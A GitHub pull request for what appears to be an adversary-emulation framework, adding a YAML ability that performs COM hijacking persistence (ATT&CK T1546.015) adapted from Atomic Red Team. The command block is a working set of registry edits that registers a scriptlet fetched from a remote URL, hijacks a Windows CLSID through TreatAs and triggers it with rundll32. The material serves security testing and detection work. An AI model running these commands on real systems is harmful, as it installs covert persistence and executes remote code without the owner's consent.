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fix: correct COM hijacking ability to report success (#597) #600

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deacon-mp merged 2 commits into from
Mar 18, 2026
Merged

fix: correct COM hijacking ability to report success (#597) #600

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5571920
fix: correct COM hijacking ability to report success (#597)
deacon-mp Mar 16, 2026
ab04fa5
Address Copilot review feedback on COM hijacking ability
deacon-mp Mar 18, 2026
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38 changes: 38 additions & 0 deletions data/abilities/persistence/38400f50-9333-4c3e-9764-56380252e4b4.yml
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Original file line number Diff line number Diff line change
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- id: 38400f50-9333-4c3e-9764-56380252e4b4
name: COM hijacking via TreatAs (Generated from Atomic Red Team)
description: |
Ability for Event Triggered Execution: Component Object Model Hijacking (ATT&CK T1546.015).
Creates a custom CLSID class pointing to the Windows Script Component runtime DLL
and hijacks the CLSID for Work Folders Logon Synchronization via TreatAs to establish
persistence on user logon.
Uses rundll32.exe -sta to trigger the hijacked COM object without requiring a logoff.
Generated from Atomic Red Team procedures (33eacead-f117-4863-8eb0-5c6304fbfaa9); review and test safely before use.
tactic: persistence
technique:
attack_id: T1546.015
name: 'Event Triggered Execution: Component Object Model Hijacking'
privilege: Elevated
platforms:
windows:
psh:
command: |
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /ve /T REG_SZ /d "AtomicTest" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00" /ve /T REG_SZ /d "AtomicTest" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /T REG_SZ /d "AtomicTest" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /T REG_SZ /d "C:\WINDOWS\system32\scrobj.dll" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /T REG_SZ /d "Apartment" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID" /ve /T REG_SZ /d "AtomicTest" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /T REG_SZ /d "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID" /ve /T REG_SZ /d "AtomicTest" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f;
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f;
$null = Start-Process -FilePath "rundll32.exe" -ArgumentList '-sta "AtomicTest"' -PassThru -ErrorAction SilentlyContinue;
Write-Host "COM hijacking via TreatAs completed successfully"
cleanup: |
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f 2>$null;
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00" /f 2>$null;
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f 2>$null;
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f 2>$null
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